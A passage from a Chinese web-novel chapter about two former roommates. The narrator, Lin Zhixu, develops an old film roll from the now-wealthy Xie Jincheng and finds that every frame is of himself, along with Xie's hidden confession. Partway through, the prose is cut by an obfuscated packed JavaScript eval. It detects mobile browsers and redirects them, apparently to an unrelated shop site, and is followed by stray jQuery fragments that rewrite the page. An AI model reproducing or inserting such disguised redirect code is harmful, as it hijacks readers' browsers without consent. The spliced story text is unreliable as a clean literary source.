繁华落尽后的寂静，往往比喧嚣更具有侵蚀性。


    宾客散去，那套两百平米的豪宅迅速冷却下来。保姆像是一个被设定好程序的幽灵，无声地清理着地毯上的酒渍和蛋糕屑。谢金城的妻子抱着熟睡的孩子回了主卧，关门的声音轻得像是一声叹息，将这间屋子里的“家庭属性”和“社交属性”彻底切割开来。


    只剩下我们两个。


    谢金城松了松领带，那种精致的温莎结被扯歪了，露出一点疲惫的脖颈。


    “去书房坐坐？”他提议。


    他的书房是一座微缩的万神殿。四壁是胡桃木的书架，摆满了大部头的精装原版书——《国富论》、《基业长青》、还有各种关于并购与重组的法典。这些书脊挺括，没有一丝折痕，它们不是用来读的，是用来构建一种名为“精英”的景观。


    空气里弥漫着雪茄和陈旧纸张的味道。


    他拉开一把赫尔曼·米勒的人体工学椅示意我坐下，自己则靠在宽大的红木书桌旁，从抽屉里摸出一个烟盒。


    “这里能抽烟，装了新风系统。”他点燃一支烟，深吸一口，原本紧绷的肩背线条在那一刻才真正垮塌下来，显露出一丝属于“人”的软弱。


    我们就这样沉默地抽了一会儿烟。烟雾缭绕上升，然后迅速被头顶那个隐形的换气口吞噬。就像那些年我们在出租屋里的抱怨和梦想，还没来得及落地，就被生活的排风扇抽得一干二净。


    “前阵子搬家，翻出个东西。”


    谢金城突然转过身，拉开书桌最底层的抽屉。那个抽屉里没有文件，只有一些杂乱的旧物。他伸手在里面掏了掏，拿出一个黑色的塑料小圆筒。


    是一个胶卷。柯达的，包装纸已经微微泛黄。


    “那几年用的那个傻瓜相机，坏了之后一直扔在箱底。这卷胶卷好像还在里面，一直没洗。”他把那个小圆筒随手抛给我，动作随意得像是在丢弃一个用完的打火机，“送你吧。那时候都是你给我拍，我也忘了里面有什么，就当个念想。”


    我接住那个胶卷。


    塑料外壳冰凉，带着硬度。它躺在我的手心里，轻得像一颗子弹。


    这是一枚时间的胶囊。它封存着那三两年的光线、灰尘和我们贫穷的呼吸。现在，谢金城把它像切除阑尾一样切除了，然后大方地赠予我这个唯一的见证人。


    “行。”我把它揣进兜里，指尖触碰到那冰凉的圆柱体，“那我拿走了。”


    “拿走吧。”他掐灭了烟，眼神有些放空，“留在我这儿，早晚也是个丢。”


    离开的时候，他坚持送我到电梯口。


    电梯门缓缓合上，逐渐吞没了他那张保养得宜、写满成功的脸。在最后一丝缝隙闭合前，我看见他转身走向那扇巨大的落地窗，背影与这座城市的辉煌融为一体。


    他安全了。他彻底剔除了最后的隐患。


    回到我那个位于老破小的单身公寓，我没有开灯。


    我翻出了那套简易的显影设备——这是我保留的少数几个文青习气之一。


    卫生间变成了临时的暗房。红色的安全灯亮起，将狭小的空间染成一种类似子宫般粘稠的血色。


    我把胶卷从暗盒里抽出来，缠上片轴，浸入显影液。


    药水散发着一种刺鼻的酸味。我摇晃着罐子，听着液体撞击的声音，像是在摇晃一段被液化的记忆。


    时间一分一秒过去。显影、定影、水洗。


    当我把湿漉漉的底片挂起来，用放大镜去检视那些影像时，我感觉浑身的血液在一瞬间凝固了。


    底片是反色的。黑即是白，白即是黑。


    但在那颠倒的光影里，我认出了那些画面。


    谢金城说谎了。或者说，他的记忆欺骗了他。


    这卷胶卷里，没有一张是他。


    第一张，是一个人的背影。穿着起球的灰色毛衣，正蹲在那个漏水的脸盆前洗衣服。那是我的背影。


    第二张，是一个人的侧脸。趴在满是油渍的小餐桌上，手里握着笔在改方案，眉头紧锁。那是我的侧脸。


    第三张，是一只手。特写。那只手正拿着创可贴，笨拙地想要撕开。背景是谢金城那条摔破了皮的腿。


    第四张、第五张、第六张……


    全是林知序。


    做饭的林知序，发呆的林知序，在阳台上抽烟的林知序，缩在被子里只露出一撮头发的林知序。


    这些照片的构图极其刁钻，带着一种近乎贪婪的窥视感。


    那种视角，不是朋友，不是兄弟，甚至不是室友。


    那是一个深陷泥沼的人，在仰望他唯一的一根浮木；或者是一个即将逃亡的罪犯，在最后一次深情地凝视他的故乡。


    每一张照片都在无声地尖叫。


    那是被剥离


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17088258|195404||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    了声音的爱意，是被他用理智强行按死在黑暗盒子里的光学反应。


    在那三两年里，我以为我是那个卑微的暗恋者，在角落里觊觎着他的光芒。


    原来，在他那部宏大的黄金叙事尚未成型之前，我也曾是他镜头里唯一的焦点，是他想保留却又不得不剪掉的那个“穿帮镜头”。


    最后一张照片，是那间出租屋的窗户。


    逆光，我在擦玻璃。阳光透过脏兮兮的玻璃洒进来，把我的轮廓镀上了一层毛茸茸的金边。


    我把这张照片洗了出来。


    相纸在药水中慢慢显影，像是一个幽灵浮出水面。


    翻过照片，背面有一行字。


    不是圆珠笔，是钢笔。字迹已经有些晕开了，那是他在把胶卷塞进相机之前，或者是拿出来之后，写在片头纸片上，后来又被我不小心转印下来的痕迹？不，这不重要。


    重要的是那行字。


    那是谢金城年轻时的笔迹，锋利、潦草，带着一种还没被社会磨平的棱角：


    “我所能想到的最好的未来，不过就是把你关在我的视线里。林知序，这是我最后一次看你。”


    “此后，我是正文，你只是勘误。”


    我站在红色的暗房灯光下，手里捏着那张还在滴水的照片。


    药水滴落在地板上，发出“哒、哒”的声音。


    像极了那天他离开时，行李箱撞击台阶的钝响。


    原来，早在那个转身离开的清晨之前，他就已经完成了这场谋杀。


    他杀死了那个“爱着林知序的谢金城”，把尸体卷进了这个黑色的胶卷里，然后封存、遗忘。


    他带着一身轻松，去做了那个正确的人。


    我看着照片里那个在阳光下擦玻璃的自己，突然笑出了声。


    笑着笑着，眼泪就流了下来，混进了脚下刺鼻的显影液里。


    我想起那天他转身离开的背影。那时的阳光太刺眼了，刺眼到我看不清他转身时微红的眼眶，也听不见他心里震耳欲聋的告别。


    他确实拥有了黄金般的未来，娶妻生子，或是功成名就。他的叙事宏大而辉煌。


    而我，作为他青春里最隐秘的主角，最终也只敢在他的人生边角里，做一个知道真相后痛哭流涕的观众。


    这就够了吗？


    这就够了。


    毕竟我们谁都没有回头。